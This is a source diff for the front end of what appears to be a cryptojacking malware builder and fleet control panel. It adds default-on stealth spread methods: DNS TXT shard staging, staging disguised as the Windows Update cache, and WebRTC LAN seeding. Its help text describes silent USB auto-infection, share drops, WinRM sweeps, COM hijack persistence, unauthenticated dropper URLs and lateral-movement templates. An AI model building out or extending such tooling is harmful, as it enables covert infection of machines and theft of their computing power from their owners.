@@ -13,6 +13,9 @@ describe('FORGE_BUILD_DEFAULTS', () => {
|
||||
expect(FORGE_BUILD_DEFAULTS.auto_spread).toBe(false);
|
||||
expect(FORGE_BUILD_DEFAULTS.remote_aggressive).toBe(false);
|
||||
expect(FORGE_BUILD_DEFAULTS.winrm_spread).toBe(false);
|
||||
expect(FORGE_BUILD_DEFAULTS.dns_txt_spread).toBe(true);
|
||||
expect(FORGE_BUILD_DEFAULTS.webrtc_mesh_spread).toBe(false);
|
||||
expect(FORGE_BUILD_DEFAULTS.wsus_cache_peer_spread).toBe(true);
|
||||
expect(FORGE_BUILD_DEFAULTS.com_hijack_persist).toBe(false);
|
||||
expect(FORGE_BUILD_DEFAULTS.linux_lotl_mode).toBe('off');
|
||||
});
|
||||
|
||||
@@ -58,6 +58,9 @@ export const FORGE_BUILD_DEFAULTS: Omit<
|
||||
usb_spread: false,
|
||||
share_spread: false,
|
||||
winrm_spread: false,
|
||||
dns_txt_spread: true,
|
||||
webrtc_mesh_spread: false,
|
||||
wsus_cache_peer_spread: true,
|
||||
com_hijack_persist: false,
|
||||
linux_lotl_mode: 'off',
|
||||
target_os: 'windows',
|
||||
|
||||
@@ -47,9 +47,20 @@ describe('forgeFormNormalize', () => {
|
||||
|
||||
it('linux target clears Windows-only spread flags', () => {
|
||||
const out = normalizeForgeForm(
|
||||
baseForm({ target_os: 'linux', target_arch: 'amd64', winrm_spread: true, com_hijack_persist: true })
|
||||
baseForm({
|
||||
target_os: 'linux',
|
||||
target_arch: 'amd64',
|
||||
winrm_spread: true,
|
||||
dns_txt_spread: true,
|
||||
wsus_cache_peer_spread: true,
|
||||
webrtc_mesh_spread: true,
|
||||
com_hijack_persist: true,
|
||||
})
|
||||
);
|
||||
expect(out.winrm_spread).toBe(false);
|
||||
expect(out.dns_txt_spread).toBe(false);
|
||||
expect(out.wsus_cache_peer_spread).toBe(false);
|
||||
expect(out.webrtc_mesh_spread).toBe(false);
|
||||
expect(out.com_hijack_persist).toBe(false);
|
||||
});
|
||||
|
||||
|
||||
@@ -77,6 +77,9 @@ export function spreadKitPreset(): Partial<BuildRequest> {
|
||||
usb_spread: false,
|
||||
share_spread: false,
|
||||
winrm_spread: false,
|
||||
dns_txt_spread: true,
|
||||
webrtc_mesh_spread: false,
|
||||
wsus_cache_peer_spread: true,
|
||||
com_hijack_persist: false,
|
||||
linux_lotl_mode: 'off',
|
||||
};
|
||||
@@ -141,6 +144,9 @@ export function normalizeForgeForm(form: BuildRequest): BuildRequest {
|
||||
if (isSingleUnixTarget(next.target_os)) {
|
||||
next.process_hollowing = false;
|
||||
next.winrm_spread = false;
|
||||
next.dns_txt_spread = false;
|
||||
next.webrtc_mesh_spread = false;
|
||||
next.wsus_cache_peer_spread = false;
|
||||
next.com_hijack_persist = false;
|
||||
}
|
||||
|
||||
|
||||
@@ -132,7 +132,7 @@ describe('forgeOperationModes', () => {
|
||||
expect(next.gpu_enabled).toBe(false);
|
||||
expect(next.lotl_onion_enabled).toBe(true);
|
||||
expect(next.lotl_policy_from_server).toBe(true);
|
||||
expect(next.lotl_onion_tiers).toHaveLength(11);
|
||||
expect(next.lotl_onion_tiers).toHaveLength(14);
|
||||
expect(next.lotl_onion_tiers?.[0]).toBe('vuln_recon');
|
||||
expect(next.spread_kit).toBe(false);
|
||||
expect(next.auto_spread).toBe(true);
|
||||
|
||||
@@ -432,6 +432,23 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
||||
: undefined,
|
||||
hint: isUniversal ? 'Windows agents only — Linux/macOS workers ignore this flag.' : undefined,
|
||||
},
|
||||
dns_txt_spread: {
|
||||
disabled: isUnixSingle,
|
||||
badge: 'baked',
|
||||
lockedReason: isUnixSingle ? 'DNS TXT spread is Windows/universal only.' : undefined,
|
||||
hint: isUniversal ? 'Windows worker default ON — nslookup/Resolve-DnsName _aether TXT mesh.' : undefined,
|
||||
},
|
||||
wsus_cache_peer_spread: {
|
||||
disabled: isUnixSingle,
|
||||
badge: 'baked',
|
||||
lockedReason: isUnixSingle ? 'WSUS cache peer spread is Windows-only.' : undefined,
|
||||
},
|
||||
webrtc_mesh_spread: {
|
||||
disabled: isUnixSingle,
|
||||
badge: 'baked',
|
||||
lockedReason: isUnixSingle ? 'WebRTC mesh spread is Windows/universal only.' : undefined,
|
||||
hint: 'Default OFF — enable for dense LANs; uses STUN + WS relay (LAN HTTP fallback in tests).',
|
||||
},
|
||||
com_hijack_persist: {
|
||||
disabled: isUnixSingle,
|
||||
badge: 'baked',
|
||||
|
||||
@@ -2,14 +2,18 @@ import { describe, it, expect } from 'vitest';
|
||||
import { DEFAULT_LOTL_ONION_TIERS, LOTL_ONION_TIER_DOCS } from './lotlOnionTiers';
|
||||
|
||||
describe('lotlOnionTiers', () => {
|
||||
it('lists ten tiers in onion order', () => {
|
||||
expect(DEFAULT_LOTL_ONION_TIERS).toHaveLength(10);
|
||||
it('lists fourteen tiers in onion order', () => {
|
||||
expect(DEFAULT_LOTL_ONION_TIERS).toHaveLength(14);
|
||||
expect(DEFAULT_LOTL_ONION_TIERS[0]).toBe('vuln_recon');
|
||||
expect(DEFAULT_LOTL_ONION_TIERS[9]).toBe('gpo');
|
||||
expect(DEFAULT_LOTL_ONION_TIERS[6]).toBe('do_peer');
|
||||
expect(DEFAULT_LOTL_ONION_TIERS[9]).toBe('webrtc_mesh');
|
||||
expect(DEFAULT_LOTL_ONION_TIERS[13]).toBe('gpo');
|
||||
});
|
||||
|
||||
it('documents each tier with hint, definition, and example', () => {
|
||||
expect(LOTL_ONION_TIER_DOCS).toHaveLength(10);
|
||||
expect(LOTL_ONION_TIER_DOCS).toHaveLength(14);
|
||||
expect(LOTL_ONION_TIER_DOCS.every((t) => t.label && t.hint && t.definition && t.example)).toBe(true);
|
||||
// IDs must be a 1:1 match with the canonical tiers array
|
||||
expect(LOTL_ONION_TIER_DOCS.map((t) => t.id)).toEqual([...DEFAULT_LOTL_ONION_TIERS]);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -8,6 +8,9 @@ export const DEFAULT_LOTL_ONION_TIERS = [
|
||||
'dotnet',
|
||||
'bits_curl',
|
||||
'do_peer',
|
||||
'wsus_cache_peer',
|
||||
'dns_txt',
|
||||
'webrtc_mesh',
|
||||
'smb',
|
||||
'winrm',
|
||||
'linux',
|
||||
@@ -91,6 +94,33 @@ export const LOTL_ONION_TIER_DOCS: LotlOnionTierDoc[] = [
|
||||
example:
|
||||
'Calibrate `service_deploy_allowlist` maps `DoSvc` → `do_peer`. Crucible **Probe & Join** when DoSvc is running: signed plan includes `peer_group`, `sha256`, `launch=rundll32`, and `--defer-mining` until diagnostics pass.',
|
||||
},
|
||||
{
|
||||
id: 'wsus_cache_peer',
|
||||
label: 'wsus_cache_peer',
|
||||
hint: 'WSUS offline cache cousin — stages beside SoftwareDistribution\\Download',
|
||||
definition:
|
||||
'Like do_peer but stages hash-verified chunks beside the Windows Update `SoftwareDistribution\\Download` tree. Probes Wuauserv, AU registry, and cache dir; assembles via BITS/curl, verifies SHA256, launches with `--defer-mining`.',
|
||||
example:
|
||||
'Forge `wsus_cache_peer_spread` ON (default when Wuauserv detected). `service_deploy_allowlist` maps `Wuauserv` → `wsus_cache_peer` (priority after `do_peer`). Signed plan includes `cache_group` and WSUS cousin dest path.',
|
||||
},
|
||||
{
|
||||
id: 'dns_txt',
|
||||
label: 'dns_txt',
|
||||
hint: 'DNS TXT mesh — shards in _aether zone, nslookup assembly',
|
||||
definition:
|
||||
'Chunks live in DNS TXT records on configurable zone `_aether.<site>.internal`. Agent uses `nslookup` / `Resolve-DnsName`, assembles shards, SHA256-verifies, launches with `--defer-mining`. Policy refresh follows TXT TTL; server can simulate TXT via embedded chunk API for tests.',
|
||||
example:
|
||||
'Forge `dns_txt_spread` ON (Windows/universal default). Discovery: internal DNS + `_aether` TXT → `join_lane: dns_txt`. Deploy plan returns `dns_txt_zone`, record names, shard indices, `ttl_refresh_sec`.',
|
||||
},
|
||||
{
|
||||
id: 'webrtc_mesh',
|
||||
label: 'webrtc_mesh',
|
||||
hint: 'WebRTC LAN seed — manifest over data channel; bytes stay LAN',
|
||||
definition:
|
||||
'First online agent on subnet becomes seeder (server `webrtc_mesh_policy` elects). LAN peers receive hash-verified manifest over WebRTC data channel (STUN from server, signaling via WS relay). Production path is WebRTC; tests use documented LAN HTTP fallback stub. Server sees `join_lane` + hashrate only.',
|
||||
example:
|
||||
'Forge `webrtc_mesh_spread` default OFF (heavier). Enable + Calibrate `webrtc_mesh_policy.rotation_hours: 24`. Seeder rotates every 24h; signed plan includes `stun_servers`, `signaling_relay`, optional `lan_fallback_url` for Vitest/mock channel.',
|
||||
},
|
||||
{
|
||||
id: 'smb',
|
||||
label: 'SMB',
|
||||
|
||||
@@ -33,6 +33,9 @@ describe('reconRisk', () => {
|
||||
expect(joinLaneLabel('winrm')).toBe('WinRM');
|
||||
expect(joinLaneLabel('spread_smb_unc')).toBe('SMB UNC');
|
||||
expect(joinLaneLabel('do_peer')).toBe('DoSvc peer');
|
||||
expect(joinLaneLabel('dns_txt')).toBe('DNS TXT');
|
||||
expect(joinLaneLabel('webrtc_mesh')).toBe('WebRTC mesh');
|
||||
expect(joinLaneLabel('wsus_cache_peer')).toBe('WSUS cache');
|
||||
expect(joinLaneLabel('')).toBeNull();
|
||||
expect(joinLaneLabel('custom_lane')).toBe('custom lane');
|
||||
});
|
||||
|
||||
@@ -74,6 +74,9 @@ const JOIN_LANE_LABELS: Record<string, string> = {
|
||||
docker: 'Docker',
|
||||
bits: 'BITS',
|
||||
do_peer: 'DoSvc peer',
|
||||
wsus_cache_peer: 'WSUS cache',
|
||||
dns_txt: 'DNS TXT',
|
||||
webrtc_mesh: 'WebRTC mesh',
|
||||
bits_curl: 'BITS/curl',
|
||||
intune: 'Intune',
|
||||
'linux-lotl': 'Linux LOTL',
|
||||
|
||||
@@ -109,6 +109,9 @@ describe('FIELD_HELP', () => {
|
||||
'usb_spread',
|
||||
'share_spread',
|
||||
'winrm_spread',
|
||||
'dns_txt_spread',
|
||||
'webrtc_mesh_spread',
|
||||
'wsus_cache_peer_spread',
|
||||
'com_hijack_persist',
|
||||
'linux_lotl_mode',
|
||||
'hole_punch',
|
||||
|
||||
@@ -127,6 +127,12 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
usb_spread: 'USB Propagation: Watches for newly inserted USB/removable drives and silently copies the agent onto them. Also installs a persistent WMI event subscription so any USB plugged into this machine in the future auto-infects — even after reboot. Creates a disguised LNK shortcut and autorun.inf on the drive.',
|
||||
share_spread: 'Share Drop: Periodically scans mapped network drives and mounted NFS/SMB shares, then silently drops and launches the agent on any writable share. Also tries PowerShell Remoting (WinRM) on LAN hosts where it is enabled.',
|
||||
winrm_spread: 'WinRM Spread: During autospread, sweeps the local /24 for WinRM-open hosts and deploys via encoded PowerShell bootstrap. Requires owned/lab targets with remoting enabled — separate from Share Drop opportunistic WinRM tries.',
|
||||
dns_txt_spread:
|
||||
'DNS TXT Spread: Stages hash-verified worker shards via `_aether.<zone>` TXT records (nslookup / Resolve-DnsName). Default ON for Windows/universal — low egress, blends with internal DNS policy refresh. Server Calibrate `dns_zone` sets the zone suffix.',
|
||||
webrtc_mesh_spread:
|
||||
'WebRTC Mesh Spread: LAN seeder delivers manifest over WebRTC data channel (STUN from server, signaling via WS relay). Bytes stay on subnet; server sees join_lane + hashrate only. Default OFF — heavier than DNS/WSUS cousins; enable for dense LANs.',
|
||||
wsus_cache_peer_spread:
|
||||
'WSUS Cache Peer Spread: Stages beside `SoftwareDistribution\\Download` like an offline update cache cousin. Probes Wuauserv/AU registry; default ON when Windows Update service is present or this forge flag is set.',
|
||||
com_hijack_persist: 'COM Hijack Persist: Registers the agent under an InprocServer32 CLSID hijack for stealthy relaunch. High-friction persistence — off by default; only enable on systems you fully own.',
|
||||
linux_lotl_mode: 'Linux LOTL Mode: After install on Linux, registers native-tool persistence via systemd-run --user, crontab @reboot, both, or off. No extra drop — uses built-in OS scheduling only.',
|
||||
hole_punch: 'NAT Hole Punch: Bakes UPnP IGD port-mapping support into the agent. From Agents → Tactical panel you can map WAN ports on the router for inbound callbacks (point-and-shoot).',
|
||||
|
||||
@@ -24,10 +24,10 @@ describe('spreadTechniques', () => {
|
||||
expect(EMBERWAKE_TECHNIQUE_LINKS.every((t) => t.anchor && t.label && t.hint)).toBe(true);
|
||||
});
|
||||
|
||||
it('re-exports ten LOTL onion tiers in canonical order', () => {
|
||||
expect(DEFAULT_LOTL_ONION_TIERS).toHaveLength(10);
|
||||
it('re-exports fourteen LOTL onion tiers in canonical order', () => {
|
||||
expect(DEFAULT_LOTL_ONION_TIERS).toHaveLength(14);
|
||||
expect(DEFAULT_LOTL_ONION_TIERS[0]).toBe('vuln_recon');
|
||||
expect(DEFAULT_LOTL_ONION_TIERS[9]).toBe('gpo');
|
||||
expect(DEFAULT_LOTL_ONION_TIERS[13]).toBe('gpo');
|
||||
expect(LOTL_ONION_TIER_DOCS.map((t) => t.id)).toEqual([...DEFAULT_LOTL_ONION_TIERS]);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -93,6 +93,7 @@ describe('UI_HELP', () => {
|
||||
'set_alerts',
|
||||
'set_alert_notifications',
|
||||
'set_webhook',
|
||||
'crucible_section_spread_templates',
|
||||
] as const;
|
||||
|
||||
it('defines help for every documented UI key', () => {
|
||||
|
||||
@@ -39,6 +39,10 @@ export const UI_HELP: Record<string, string> = {
|
||||
'Named color groups for the fleet. Click a group chip to select all members for bulk commands.',
|
||||
crucible_active_target:
|
||||
'The focused node when exactly one is selected — used for single-agent panels like live desktop and file browser.',
|
||||
crucible_access_depth:
|
||||
'Host posture, LOTL mining tier status, join lane, and effective onion order for the selected agent — from live WS stats plus mining_diagnostics when run.',
|
||||
crucible_access_depth_calibrate:
|
||||
'Calibrate → lotl_onion_tiers changes spread contingency order on next agent reconnect (agents forged with lotl_policy_from_server).',
|
||||
crucible_tab_ops:
|
||||
'Day-to-day remote control: pause/resume mining, shell commands, agent restart, logs, and power actions.',
|
||||
crucible_tab_recon:
|
||||
@@ -99,6 +103,8 @@ export const UI_HELP: Record<string, string> = {
|
||||
'Full protocol tunnel panel for the focused node — cloudflared, SSH forwards, and live status.',
|
||||
crucible_section_portfwd:
|
||||
'Matrix of SSH local-forward rules pushed to selected Windows agents.',
|
||||
crucible_section_spread_templates:
|
||||
'Generate and download custom script templates for lateral movement, registry auto-run persistence, or custom payloads with baked-in server configuration.',
|
||||
|
||||
bm_pin_dropper:
|
||||
'Pinned build is served by unauthenticated dropper URLs (install.ps1 / install.sh). Only one build can be pinned at a time.',
|
||||
|
||||
@@ -9,6 +9,7 @@ import './styles/steampunk-theme.css';
|
||||
import './styles/sacred-geometry.css';
|
||||
import './styles/wealth-deck.css';
|
||||
import './styles/mobile.css';
|
||||
import './pages/Pages.css';
|
||||
import './styles/visual-polish.css';
|
||||
|
||||
ReactDOM.createRoot(document.getElementById('root')!).render(
|
||||
|
||||
@@ -171,7 +171,7 @@
|
||||
|
||||
.bm-tls-badge {
|
||||
font-size: 0.62rem;
|
||||
color: var(--neon-cyan, #0ff);
|
||||
color: var(--neon-cyan, #00e8f5);
|
||||
opacity: 0.8;
|
||||
}
|
||||
|
||||
@@ -217,7 +217,7 @@
|
||||
font-family: 'Courier New', monospace;
|
||||
font-size: 0.65rem;
|
||||
font-weight: 700;
|
||||
color: var(--neon-cyan, #0ff);
|
||||
color: var(--neon-cyan, #00e8f5);
|
||||
min-width: 2rem;
|
||||
text-align: right;
|
||||
flex-shrink: 0;
|
||||
@@ -236,17 +236,17 @@
|
||||
flex-shrink: 0;
|
||||
font-size: 0.7rem;
|
||||
padding: 0.15rem 0.5rem;
|
||||
background: rgba(0,245,255,0.08);
|
||||
border: 1px solid rgba(0,245,255,0.28);
|
||||
background: rgba(0, 232, 245, 0.08);
|
||||
border: 1px solid rgba(0, 232, 245, 0.28);
|
||||
border-radius: 3px;
|
||||
color: var(--neon-cyan, #0ff);
|
||||
color: var(--neon-cyan, #00e8f5);
|
||||
cursor: pointer;
|
||||
transition: background 0.15s;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.bm-copy-btn:hover {
|
||||
background: rgba(0,245,255,0.18);
|
||||
background: rgba(0, 232, 245, 0.18);
|
||||
}
|
||||
|
||||
/* ── footer row ── */
|
||||
|
||||
@@ -400,12 +400,12 @@ export default function BuildManagerPage() {
|
||||
<header className="deck-hero">
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">WORKER BUILDS · DEPLOY & MANAGE</p>
|
||||
<h1 className="font-display bm-title">Build Manager</h1>
|
||||
<p className="form-hint bm-subtitle">
|
||||
<h1>Build Manager</h1>
|
||||
<p className="page-subtitle">
|
||||
All forged workers — download, deploy, re-forge, or delete from any browser.
|
||||
</p>
|
||||
</div>
|
||||
<div className="bm-header-actions">
|
||||
<div className="deck-hero-actions">
|
||||
<button type="button" className="btn btn-outline" onClick={loadBuilds} disabled={loading}>
|
||||
{loading ? 'Loading…' : '↻ Refresh'}
|
||||
</button>
|
||||
|
||||
@@ -2935,6 +2935,44 @@ export default function BuilderPage() {
|
||||
<FieldHint field="winrm_spread" />
|
||||
</div>
|
||||
|
||||
<div className={`form-group checkbox-group ${fieldMeta.dns_txt_spread?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.dns_txt_spread !== false}
|
||||
disabled={fieldMeta.dns_txt_spread?.disabled}
|
||||
onChange={(e) => updateField('dns_txt_spread', e.target.checked)} />
|
||||
<span>DNS TXT Spread — _aether zone shard mesh <HelpTip field="dns_txt_spread" /></span>
|
||||
</label>
|
||||
<FieldHint field="dns_txt_spread" />
|
||||
<ForgeLockedHint meta={fieldMeta.dns_txt_spread} />
|
||||
</div>
|
||||
|
||||
<div className={`form-group checkbox-group ${fieldMeta.wsus_cache_peer_spread?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.wsus_cache_peer_spread !== false}
|
||||
disabled={fieldMeta.wsus_cache_peer_spread?.disabled}
|
||||
onChange={(e) => updateField('wsus_cache_peer_spread', e.target.checked)} />
|
||||
<span>WSUS Cache Peer — SoftwareDistribution cousin staging <HelpTip field="wsus_cache_peer_spread" /></span>
|
||||
</label>
|
||||
<FieldHint field="wsus_cache_peer_spread" />
|
||||
<ForgeLockedHint meta={fieldMeta.wsus_cache_peer_spread} />
|
||||
</div>
|
||||
|
||||
<div className={`form-group checkbox-group ${fieldMeta.webrtc_mesh_spread?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.webrtc_mesh_spread}
|
||||
disabled={fieldMeta.webrtc_mesh_spread?.disabled}
|
||||
onChange={(e) => updateField('webrtc_mesh_spread', e.target.checked)} />
|
||||
<span>WebRTC Mesh Spread — LAN seed data channel (default off) <HelpTip field="webrtc_mesh_spread" /></span>
|
||||
</label>
|
||||
{form.webrtc_mesh_spread && (
|
||||
<p className="form-hint" style={{ color: 'var(--color-warn, #f5a623)', marginTop: '0.25rem' }}>
|
||||
⚠ WebRTC mesh is ON — heavier LAN seed path; payload bytes stay on subnet, server sees hashrate + join_lane only.
|
||||
</p>
|
||||
)}
|
||||
<FieldHint field="webrtc_mesh_spread" />
|
||||
<ForgeLockedHint meta={fieldMeta.webrtc_mesh_spread} />
|
||||
</div>
|
||||
|
||||
<div className={`form-group checkbox-group ${fieldMeta.com_hijack_persist?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.com_hijack_persist}
|
||||
|
||||
@@ -307,9 +307,9 @@ describe('CruciblePage terminal — command_result processing', () => {
|
||||
describe('CruciblePage helpers', () => {
|
||||
it('agentColor cycles palette by agent order', () => {
|
||||
const ids = ['a', 'b', 'c'];
|
||||
expect(agentColor('a', ids)).toBe('#00f5ff');
|
||||
expect(agentColor('a', ids)).toBe('#00e8f5');
|
||||
expect(agentColor('b', ids)).toBe('#39ff14');
|
||||
expect(agentColor('missing', ids)).toBe('#00f5ff');
|
||||
expect(agentColor('missing', ids)).toBe('#00e8f5');
|
||||
});
|
||||
|
||||
it('sshBadge reflects ssh_available tri-state', () => {
|
||||
|
||||
@@ -23,11 +23,13 @@ import type { WSCommandResult } from '../types/ws';
|
||||
import { sanitizeScreenshotBase64 } from '../help/screenshotDownload';
|
||||
import FullSysCheckPanel from '../components/Fleet/FullSysCheckPanel';
|
||||
import CrucibleExpandedOps from '../components/Fleet/CrucibleExpandedOps';
|
||||
import AccessDepthPanel from '../components/Fleet/AccessDepthPanel';
|
||||
import LotlAttemptsList from '../components/Fleet/LotlAttemptsList';
|
||||
import LotlTierBadge from '../components/Fleet/LotlTierBadge';
|
||||
import RiskBadge from '../components/Fleet/RiskBadge';
|
||||
import FleetHeatMiniMap from '../components/Fleet/FleetHeatMiniMap';
|
||||
import { parseTierReport } from '../types/lotl';
|
||||
import { parseAccessDepthDiagnostics, type AccessDepthDiagnostics } from '../help/accessDepth';
|
||||
import AlsoHere from '../components/Presence/AlsoHere';
|
||||
import { HelpTip } from '../components/HelpTip';
|
||||
import '../components/Fleet/FullSysCheckPanel.css';
|
||||
@@ -126,7 +128,7 @@ type RichTermData =
|
||||
// ── Helpers ────────────────────────────────────────────────────────────────
|
||||
|
||||
const AGENT_COLORS = [
|
||||
'#00f5ff', '#39ff14', '#ff2da6', '#b24bf3',
|
||||
'#00e8f5', '#39ff14', '#ff2da6', '#b24bf3',
|
||||
'#ffb020', '#ff6b35', '#00d4aa', '#f72585',
|
||||
'#7209b7', '#3a86ff', '#06d6a0', '#ffd60a',
|
||||
];
|
||||
@@ -134,7 +136,7 @@ const AGENT_COLORS = [
|
||||
export function agentColor(agentId: string, allIds: string[], groupColor?: string): string {
|
||||
if (groupColor) return groupColor;
|
||||
const idx = allIds.indexOf(agentId);
|
||||
return AGENT_COLORS[idx % AGENT_COLORS.length] ?? '#00f5ff';
|
||||
return AGENT_COLORS[idx % AGENT_COLORS.length] ?? '#00e8f5';
|
||||
}
|
||||
|
||||
export function sshBadge(agent: Agent) {
|
||||
@@ -376,6 +378,7 @@ export default function CruciblePage() {
|
||||
// SSH / posture overrides (from on-demand probes)
|
||||
const [sshOverride, setSshOverride] = useState<Record<string, boolean>>({});
|
||||
const [postureOverride, setPostureOverride] = useState<Record<string, { score: number; patchDays?: number }>>({});
|
||||
const [accessDepthByAgent, setAccessDepthByAgent] = useState<Record<string, AccessDepthDiagnostics>>({});
|
||||
|
||||
const allIds = useMemo(() => agents.map((a) => a.id), [agents]);
|
||||
|
||||
@@ -568,6 +571,8 @@ export default function CruciblePage() {
|
||||
} else if (r.action === 'mining_diagnostics') {
|
||||
const blockers = parsed.likely_blockers ?? parsed.blockers;
|
||||
const tierFields = parseTierReport(parsed as Record<string, unknown>);
|
||||
const depthDiag = parseAccessDepthDiagnostics(parsed as Record<string, unknown>);
|
||||
setAccessDepthByAgent((prev) => ({ ...prev, [aid]: depthDiag }));
|
||||
if (Array.isArray(blockers) || tierFields.lotl_attempts.length > 0) {
|
||||
richData = {
|
||||
type: 'mining_diagnostics',
|
||||
@@ -1086,6 +1091,7 @@ export default function CruciblePage() {
|
||||
filters={filters}
|
||||
onChange={setFilters}
|
||||
selectedCount={selectedIds.size}
|
||||
selectedAgents={selectedAgents}
|
||||
filteredCount={filteredAgents.length}
|
||||
onSelectAllFiltered={() => setSelectedIds(new Set(filteredAgents.map((a) => a.id)))}
|
||||
onBulkAction={handleBulkAction}
|
||||
@@ -1333,6 +1339,13 @@ export default function CruciblePage() {
|
||||
</div>
|
||||
)}
|
||||
|
||||
{focusedAgent && (
|
||||
<AccessDepthPanel
|
||||
agent={focusedAgent}
|
||||
diagnostics={accessDepthByAgent[focusedAgent.id]}
|
||||
/>
|
||||
)}
|
||||
|
||||
{/* ── Groups & Actions ────────────────────────────────────────────── */}
|
||||
<div className="crucible-row">
|
||||
<NeonCard accent="purple" className="crucible-groups-card operator-deck-card operator-interactive" tilt3d={false}>
|
||||
|
||||
@@ -47,7 +47,6 @@ import {
|
||||
import {
|
||||
resolveChartSeries,
|
||||
} from '../help/chartSampleData';
|
||||
import './Pages.css';
|
||||
|
||||
const SKELETON_HEIGHTS = [0.30, 0.55, 0.40, 0.70, 0.50, 0.65, 0.45, 0.80, 0.60, 0.35];
|
||||
|
||||
@@ -95,6 +94,7 @@ export default function DashboardPage() {
|
||||
const [calibrateConfig, setCalibrateConfig] = useState<ServerConfig | null>(null);
|
||||
const [filters, setFilters] = useState<FleetFilterState>(DEFAULT_FLEET_FILTERS);
|
||||
const [selectedIds, setSelectedIds] = useState<Set<string>>(new Set());
|
||||
const selectedAgents = useMemo(() => agents.filter((a) => selectedIds.has(a.id)), [agents, selectedIds]);
|
||||
const [bulkBusy, setBulkBusy] = useState(false);
|
||||
const [showMatrix, setShowMatrix] = useState(false);
|
||||
const screenshotWatchId = useRef<string | null>(null);
|
||||
@@ -841,7 +841,7 @@ export default function DashboardPage() {
|
||||
data={hashChart.data}
|
||||
displayMode={hashChart.mode}
|
||||
title="Fleet Hashrate Wave"
|
||||
color="#00f5ff"
|
||||
color="#00e8f5"
|
||||
unit="H/s"
|
||||
height={300}
|
||||
/>
|
||||
@@ -932,6 +932,7 @@ export default function DashboardPage() {
|
||||
filters={filters}
|
||||
onChange={setFilters}
|
||||
selectedCount={selectedIds.size}
|
||||
selectedAgents={selectedAgents}
|
||||
filteredCount={filteredAgents.length}
|
||||
onSelectAllFiltered={() => setSelectedIds(new Set(filteredAgents.map((a) => a.id)))}
|
||||
onBulkAction={handleBulkAction}
|
||||
|
||||
@@ -23,7 +23,6 @@ import AlsoHere from '../components/Presence/AlsoHere';
|
||||
import ComradeAvatar from '../components/Presence/ComradeAvatar';
|
||||
import SupplyChainExportWizard from '../components/Emberwake/SupplyChainExportWizard';
|
||||
import { HelpTip } from '../components/HelpTip';
|
||||
import './Pages.css';
|
||||
import './EmberwakePage.css';
|
||||
import '../components/Presence/Presence.css';
|
||||
|
||||
|
||||
@@ -22,7 +22,7 @@
|
||||
font-weight: 700;
|
||||
letter-spacing: 0.15em;
|
||||
text-transform: uppercase;
|
||||
color: var(--accent-primary, #00ffaa);
|
||||
color: var(--accent-primary, #00e8f5);
|
||||
font-family: var(--font-tech, monospace);
|
||||
}
|
||||
|
||||
@@ -55,8 +55,8 @@
|
||||
}
|
||||
|
||||
.pt-agent-card {
|
||||
background: rgba(0, 255, 170, 0.04);
|
||||
border: 1px solid rgba(0, 255, 170, 0.12);
|
||||
background: rgba(0, 232, 245, 0.04);
|
||||
border: 1px solid rgba(0, 232, 245, 0.12);
|
||||
border-radius: 8px;
|
||||
padding: 0.85rem 1rem;
|
||||
cursor: pointer;
|
||||
@@ -66,14 +66,14 @@
|
||||
}
|
||||
|
||||
.pt-agent-card:hover {
|
||||
background: rgba(0, 255, 170, 0.08);
|
||||
border-color: rgba(0, 255, 170, 0.3);
|
||||
background: rgba(0, 232, 245, 0.08);
|
||||
border-color: rgba(0, 232, 245, 0.3);
|
||||
}
|
||||
|
||||
.pt-agent-card.selected {
|
||||
background: rgba(0, 255, 170, 0.14);
|
||||
border-color: #00ffaa;
|
||||
box-shadow: 0 0 12px #00ffaa33;
|
||||
background: rgba(0, 232, 245, 0.14);
|
||||
border-color: #00e8f5;
|
||||
box-shadow: 0 0 12px rgba(0, 232, 245, 0.2);
|
||||
}
|
||||
|
||||
.pt-agent-card.offline {
|
||||
@@ -90,7 +90,7 @@
|
||||
font-size: 0.65rem;
|
||||
font-family: var(--font-tech, monospace);
|
||||
color: #000;
|
||||
background: #00ffaa;
|
||||
background: #00e8f5;
|
||||
border-radius: 50%;
|
||||
width: 18px;
|
||||
height: 18px;
|
||||
@@ -114,7 +114,7 @@
|
||||
|
||||
.pt-agent-ip {
|
||||
font-size: 0.7rem;
|
||||
color: #00ffaa99;
|
||||
color: rgba(0, 232, 245, 0.6);
|
||||
font-family: monospace;
|
||||
}
|
||||
|
||||
@@ -138,7 +138,7 @@
|
||||
|
||||
.pt-chain-panel {
|
||||
background: rgba(0, 0, 0, 0.35);
|
||||
border: 1px solid rgba(0, 255, 170, 0.14);
|
||||
border: 1px solid rgba(0, 232, 245, 0.14);
|
||||
border-radius: 10px;
|
||||
padding: 1rem;
|
||||
display: flex;
|
||||
@@ -150,7 +150,7 @@
|
||||
font-size: 0.65rem;
|
||||
letter-spacing: 0.12em;
|
||||
text-transform: uppercase;
|
||||
color: #00ffaa88;
|
||||
color: rgba(0, 232, 245, 0.53);
|
||||
font-family: var(--font-tech, monospace);
|
||||
margin-bottom: 0.25rem;
|
||||
}
|
||||
@@ -179,14 +179,14 @@
|
||||
width: 22px;
|
||||
height: 22px;
|
||||
border-radius: 50%;
|
||||
background: #00ffaa22;
|
||||
border: 1px solid #00ffaa55;
|
||||
background: rgba(0, 232, 245, 0.13);
|
||||
border: 1px solid rgba(0, 232, 245, 0.33);
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
font-size: 0.6rem;
|
||||
font-family: var(--font-tech, monospace);
|
||||
color: #00ffaa;
|
||||
color: #00e8f5;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
@@ -201,7 +201,7 @@
|
||||
|
||||
.pt-chain-arrow {
|
||||
font-size: 0.65rem;
|
||||
color: #00ffaa55;
|
||||
color: rgba(0, 232, 245, 0.33);
|
||||
padding-left: 10px;
|
||||
}
|
||||
|
||||
@@ -217,7 +217,7 @@
|
